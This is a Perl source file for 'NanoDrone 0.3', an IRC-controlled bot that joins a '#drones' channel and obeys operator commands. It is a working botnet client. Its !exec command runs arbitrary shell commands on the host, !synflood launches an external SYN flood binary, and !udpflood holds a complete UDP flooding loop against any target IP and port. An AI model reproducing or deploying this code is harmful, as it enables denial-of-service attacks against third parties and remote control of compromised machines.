# Copyright (c) 2011, Insomnia 24/7 All rights reserved. 
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
 
# Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer. Redistributions in binary
# form must reproduce the above copyright notice, this list of conditions and
# the following disclaimer in the documentation and/or other materials
# provided with the distribution. Neither the name of Insomnia 24/7 nor
# the names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
 
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
# DAMAGE.
 
#!/usr/local/bin/perl
 
use IO::Socket;

my @chars=('a'..'z','A'..'Z','0'..'9');
my $suffix;
foreach (1..6) {
	$suffix.=$chars[rand @chars];
}

$version = "NanoDrone 0.3";
$server = 'irc.insomnia247.nl';
$port = 6667;
$sslport = 6697;
$botnick = 'nanodrone_'.$suffix; # Bots nickname
$botuser = 'nanodrone'; # Bots username
$nsp = ''; # NickServ pasword (if not registered, leave empty)
@channels = ("#drones");
@opers = ("insomnia247.nl"); # Oper(s) hostmask(s)
$modchan = '#drones';
$wait_for_ping = 0; # Set to 1 if your network requires a ping reply before allowing to join channels.
$connect_timeout = 120; # Seconds to wait before giving up connnecting to the IRC server.
$ping_timeout = 300; # Seconds to wait before assuming timeout and attempting reconnect.

# These are set by the bot itself, do not modify
$logging = 1;
$debug = 0;
$botstatus = 1;
$startup = time;
$sflood = 0;
$uflood = 0;

$SIG{CHLD} = 'IGNORE';

##### Process commandline options #####
foreach $arg (@ARGV) {
	if ($arg eq "-h" or $arg eq "--help") {
		print "options:\n";
		print "  -h or --help		Print this help.\n";
		print "  -v or --version	Print version number and exit.\n";
		print "  -q or --quiet		Activate silent mode (Nothing is printed to the screen.)\n";
		print "  -d or --debug		Enable debugging output. (Use twice for greater effect.\n";
		&shutd;
	}

	if ($arg eq "-v" or $arg eq "--version") { print "version: $version\n"; &shutd;}
	if ($arg eq "-q" or $arg eq "--quiet") {$logging = 0;}
	if ($arg eq "-d" or $arg eq "--debug") {$debug++;}
}

##### Kick things off ######
logts("Nanobot is starting...\n");
while(1) {
	&connct;
	sleep(2);
}

##### Screen output subroutine #####
sub logts {
	if ($logging == 1){
		print STDOUT "$_[0]";
	}
}

##### Debug output subroutine #####
sub debug {
	if ($debug >= 1){
		print STDOUT "$_[0]";
	}
}
sub debug_extra {
	if ($debug == 2){
		($s,$m,$h,$d,$mo) = gmtime( time );
		print STDOUT "[$h:$m:$s] $_[0]";
	}
}

##### Connect to server ######
sub connct {
	debug("Attempting connect.\n");

	# Connect to server
	logts("Connecting ........... ");
	$sock = IO::Socket::INET->new(	PeerAddr => $server,
									PeerPort => $port,
									Proto => 'tcp',
									Timeout => $connect_timeout) or die "Connect error: $!\n";
	
	logts("[OK]\n");

	debug("Connected to server: $server\non port: $port\n");

	# Set nick and username
	logts("Sending user info .... ");
	snd("NICK $botnick");
	snd("USER $botuser 8 *  :$version");
	logts("[OK]\n");

	# Catch SIGALRM from the OS when timeout expired.
	local $SIG{ALRM} = sub {$sock->shutdown(0);};
	
	# Send all incomming data to the parser
	while (<$sock>) {
		eval {
			alarm 0;
			&parse($_);
			alarm $ping_timeout;
		};
	}

	debug("Closing socket.\n");
	close $sock;
	logts("Error: Lost connection, reconnecting...\n");
	$login = undef;
}

##### Subroutine for sending data to the IRC server #####
sub snd {
	print $sock "$_[0]\n";
	debug_extra("<== $_[0]\n");
}

##### Subroutine for sending messages to the IRC server #####
sub msg {
	snd("PRIVMSG $_[0] :$_[1]");
}

##### Subroutine for sending notices to the IRC server #####
sub ntc {
	snd("NOTICE $_[0] :$_[1]");
}

##### Socket input parser #####
sub parse {
	debug_extra("==> $_");

	# Remove /r and /n
	chop($_);
	chop($_);
	
	# Do nickserv auth and channel join
	if(!$login && ($wait_for_ping == 0)) {
		&login;
	}
	
	# Handle PING and rejoin on kick
	if (/^PING \:(.+)/) {
		debug("Received PING request.\n");
		snd("PONG :$1");
		
		if(!$login && ($wait_for_ping == 1)) {
			&login;
		}
		
		debug("Sent PONG reply.\n");
		return;
	} elsif (/^\:(.+?)!(.+?)@(.+?) KICK #(.+?) \Q$botnick\E \:(.+?)/) {
		snd("JOIN #$4");
		debug("Rejoined channel $4 after kick.\n");
		return;
	}
	
	# Process messages
	if (/^\:(.+?)!(.+?)@(.+?) PRIVMSG (.+?) \:(.+)/) {
		$privmsg{from} = $1;
		$privmsg{user} = $2;
		$privmsg{host} = $3;
		$privmsg{rcpt} = $4;
		$privmsg{text} = $5;
		$args = $privmsg{text};
 
		$from = $privmsg{from};
		$uname = $privmsg{user};
		$host = $privmsg{host};
		$from_chan = $privmsg{rcpt};
 
		# Parse commands
		if($args =~ /^!version/) { &version; }
		elsif($args =~ /^!uptime /) { &uptime; }
		elsif($args =~ /^!help/) { &help; }
				 
		# Operator commands
		foreach $oper (@opers) { 
			if ($oper eq $host) { 
				if($args =~ /^!raw /) { &raw; } 
				elsif($args =~ /^!msg /) { &mesg; } 
				elsif($args =~ /^!quit/) { &botquit; } 
				elsif($args =~ /^!join /) { &joinchan; }
				elsif($args =~ /^!part /) { &partchan; }
				elsif($args =~ /^!mode /) { &mode; }
 				elsif($args =~ /^!modchan/) { &modchan; } 
				elsif($args =~ /^!bot/) { &botswitch; }
				elsif($args =~ /^!nick/) { &nick; }
 				elsif($args =~ /^!admin/) { &admin; }
 				elsif($args =~ /^!exec/) { &execute; }
 				elsif($args =~ /^!synflood/) { &synfloodstart; }
 				elsif($args =~ /^!stopsyn/) { &synfloodstop; }
 				elsif($args =~ /^!udpflood/) { &udpfloodstart; }
 				elsif($args =~ /^!stopudp/) { &udpfloodstop; }
			}
		}
	}
}

##### Meta subroutine for initial join ######
sub login {
	debug("Entered initial join loop.\n");

	# Attempt nickserv login
	&nickserv;

	# Join all listed channels
	&joinlist;

	# We've done login and join, no need to do it again next time
	$login = 1;
}

##### NickServ AUTH ######
sub nickserv{
	if ($nsp) {
		logts("Identifying nick ..... ");
		msg("NickServ", "identify $nsp");
		logts("[OK]\n");
	}
}

##### Join listed channels #####
sub joinlist {
	logts("Joining channel(s) ... ");
	foreach $chan (@channels) {
		snd("JOIN $chan");
	}
	logts("[OK]\n");
}

##### !version #####
sub version {
	debug("Received \"version\"-command.\n");
	ntc("$from", "Running version: $version");
	my $uptime = &diffString(time - $startup);
	ntc("$from", "Uptime: $uptime");
	logts("Sending version to $from.\n");
}

##### Translate difference in seconds to human readable string #####
sub diffString {
	($s,$m,$h,$d,$mo) = gmtime( $_[0] );
	
	if( $mo > 0 ) {
		$returnstring = "$mo months, $d days, $h hours, $m minutes and $s seconds";
	} else {
		$d--;
		if( $d > 0 ) {
			$returnstring = "$d days, $h hours, $m minutes and $s seconds";
		} else {
			if( $h > 0 ) {
				$returnstring = "$h hours, $m minutes and $s seconds";			
			} else {
				if( $m > 0 ) {
					$returnstring = "$m minutes and $s seconds";
				} else {
					$returnstring = "$s seconds";
				}
			}
		}
	} 
}

##### !help #####
sub help {
	if (substr($args, 6) eq "yes") { 
		debug("Received \"help\"-command.\n");

		ntc("$from", "Help for $botnick version $version.");
		ntc("$from", " ");
		ntc("$from", "Public commands:");
		ntc("$from", "!help Get this help.");
		ntc("$from", "!version Get version number.");
		ntc("$from", " ");
		ntc("$from", "Oper only commands:");
		ntc("$from", "!quit [message] Stop bot.");
		ntc("$from", "!join [channel] Join channel.");
		ntc("$from", "!part [channel] Part channel.");
		ntc("$from", "!mode [user/chan] +/-mode");
		ntc("$from", "!mode [bot nick]");
		ntc("$from", "!modchan [channel] Set active channel. Returms current active channel when none is given.");
		ntc("$from", "!bot [on|off] Switch bot on or off.");
		ntc("$from", "!admin [add|del] [hostmask] Control admin access to the bot. (No args returns current list)");
		ntc("$from", "!raw [data] Send raw commands to the IRC server.");
		ntc("$from", "!exec [command] Execute command on bot's localhost.");
		ntc("$from", "!synflood [host] Execute command on bot's localhost.");
		ntc("$from", "!stopsyn Execute command on bot's localhost.");
		ntc("$from", "!udpflood [host] [port] [seconds] Execute command on bot's localhost.");
		ntc("$from", "!stopudp Execute command on bot's localhost.");
				
		logts("Sent help to $from.\n");
	} else {
		ntc("$from", "This command sends about 30 lines of notices from each drone.");
		ntc("$from", "Use \"!help yes\" if you are sure you want to do this.");
	}
}

##### !raw #####
sub raw {
	debug("Received \"raw\"-command.\n");
	my ($cmd,@data) = split(/ /, $args);
	snd("@data");
	logts("Raw command was used by $from.\n");
}

##### !msg #####
sub mesg {
	debug("Received \"msg\"-command.\n");
	my ($cmd, $to, @data) = split(/ /, $args);
	snd("PRIVMSG $to :@data");
	logts("Msg command was used by $from.\n");
}

##### !join #####
sub joinchan {
	debug("Received \"join\"-command.\n");
	if(!substr($args, 5)) {
		ntc("$from", "No channel was specified!");
	} else {
		$chan = substr($args, 5);
		snd("JOIN $chan");
		logts("Joining $chan...\n");
	}
}

##### !part #####
sub partchan {
	debug("Received \"part\"-command.\n");
	if(!substr($args, 5)) {
		ntc("$from", "No channel was specified!");
	} else {
		$chan = substr($args, 5);
		snd("PART $chan");
		logts("Parting $chan...\n");
	}
}

##### !modchan #####
sub modchan {
	debug("Received \"modchan\"-command.\n");
		if(!substr($args, 9)) {
		debug("command was blank.\n");
		ntc("$from", "Current active channel is: $modchan");
	} else {
		$modchan = substr($args, 9);
		ntc("$from", "Setting active channel to $modchan...");
		logts("Setting active channel to $modchan...\n");
	}
}

##### !bot #####
sub botswitch {
	debug("Received \"bot\"-command.\n");
	if (!substr($args, 5)) {
		if($botstatus) {
			ntc("$from", "Bot is enabled.");
		} else {
			ntc("$from", "Bot is disabled.");
		}
	} else {
		$mode = substr($args, 5);
		if ($mode =~ /on/) {
			$botstatus = 1;
			msg("$modchan", "Bot enabled.");
			logts("Bot enabled by $from...\n");
		} else {
			if ($mode =~ /off/) {
				$botstatus = 0;
				msg("$modchan", "Bot disabled.");
				logts("Bot disabled by $from...\n");
			}
		}
	}
}

##### !mode #####
sub mode {
	debug("Received \"mode\"-command.\n");
	if(!substr($args, 6)) {
		ntc("$from", "No arguments specified.");
	} else {
		$modes = substr($args, 6);
		snd("MODE $modes");
		logts("Set modes $modes\n");
	}
}

##### !nick #####
sub nick {
	debug("Received \"nick\"-command.\n");
	if(!substr($args, 5)) {
		ntc("$from", "No new nick was specified!");
	} else {
		$botnick = substr($args, 5);
		snd("NICK $botnick");
		logts("Changed bot nick to $botnick...\n");
	}
}

##### !admin #####
sub admin {
	debug("Received \"admin\"-command.\n");
	my ($msg,$type,$hostm) = split(/ /, $args);

	if ($type =~ /add/) {
		push(@opers,$hostm);
		ntc("$from", "Added $hostm to temp admin list.");
		logts("Added temp admin $hostm by $from\n");
		debug("Oper list: ");

		foreach $oper (@opers) { 
			debug("$oper ");
		}

		debug("\n");
	} elsif ($type =~ /del/) {
		$i = 0;
		while($i <= @opers){
			if($opers[$i] eq $hostm){
				while($i < @opers){
					$opers[$i] = $opers[$i+1];
					$i++;
				}
			}
			$i++;
		}
		ntc("$from", "Removed $hostm from temp admin list.");
		logts("Removed temp admin $hostm by $from\n");
		debug("Oper list: ");

		foreach $oper (@opers) { 
			debug("$oper ");
		}
	debug("\n");

	} else {
		snd("NOTICE $from :Current admins: @opers");
	}
}

##### !exec #####
sub execute {
	debug("Received \"execute\"-command.\n");
	my ($cmd,@data) = split(/ /, $args);
	my @result = system("@data >> /dev/null");
	msg("$from_chan", "Result: @result");
	logts("Exec was used by $from.\n");
}

##### !synflood #####
sub synfloodstart {
	debug("Received \"synflood\"-command.\n");
	my ($msg,$ip,$port,$time) = split(/ /, $args);
	if($sflood == 1) {
		system("killall syn");
	}
	$spid = fork();
	if (not defined $spid) {
		#Fail
		msg("$modchan", "Resource not avilable.");
	} elsif ($spid == 0) {
		#Child
		msg("$modchan", "Started syn flood.");
		system("./syn $ip $port $time");
		msg("$modchan", "Finised syn flood.");
		exit(0);
	} else {
		#Parent
		$sflood = 1;
	}
}

##### !stopsyn #####
sub synfloodstop {
	debug("Received \"stopsyn\"-command.\n");
	if($sflood == 1) {
		system("killall syn");
		$sflood = 0;
		msg("$modchan", "Stopped syn flood.");
	} else {
		msg("$modchan", "No running syn flood.");
	}
}

##### !udpflood #####
sub udpfloodstart {
	debug("Received \"udpflood\"-command.\n");
	my ($msg,$ip,$port,$time) = split(/ /, $args);

	if($uflood == 1) {
		system("kill -9 $upid");
	}
	$upid = fork();
	if (not defined $upid) {
		#Fail
		msg("$modchan", "Resource not avilable.");
	} elsif ($upid == 0) {
		#Child
		msg("$modchan", "Started udp flood.");
		$iaddr = inet_aton("$ip");
		socket(flood, PF_INET, SOCK_DGRAM, 17);
		$endtime = time() + ($time ? $time : 1000000);

		for (;time() <= $endtime;) {
			$psize = $size ? $size : int(rand(1024-64)+64) ;
			$pport = $port ? $port : int(rand(65500))+1;
			send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
		}

		msg("$modchan", "Finised udp flood.");
		exit(0);
	} else {
		#Parent
		$uflood = 1;
	}
}

##### !stopudp #####
sub udpfloodstop {
	debug("Received \"stopudp\"-command.\n");
	if($uflood == 1) {
		system("kill -9 $upid");
		$uflood = 0;
		msg("$modchan", "Stopped udp flood.");
	} else {
		msg("$modchan", "No running udp flood.");
	}
}

##### !quit #####
sub botquit {
	debug("Received \"quit\"-command.\n");
	logts("Quit command was issued by $from.\n");

	my ($cmd,@msg) = split(/ /, $args);

	if($msg[0] eq "") {
		snd("QUIT $botnick was instructed to quit.");
	} else {
		snd("QUIT @msg");
	}

	close($sock);
	&shutd;
}

##### Process exit subroutine #####
sub shutd {
	logts("Shutting down.\n");
	debug("Final line of code before exit call.\n");
	exit(0);
}

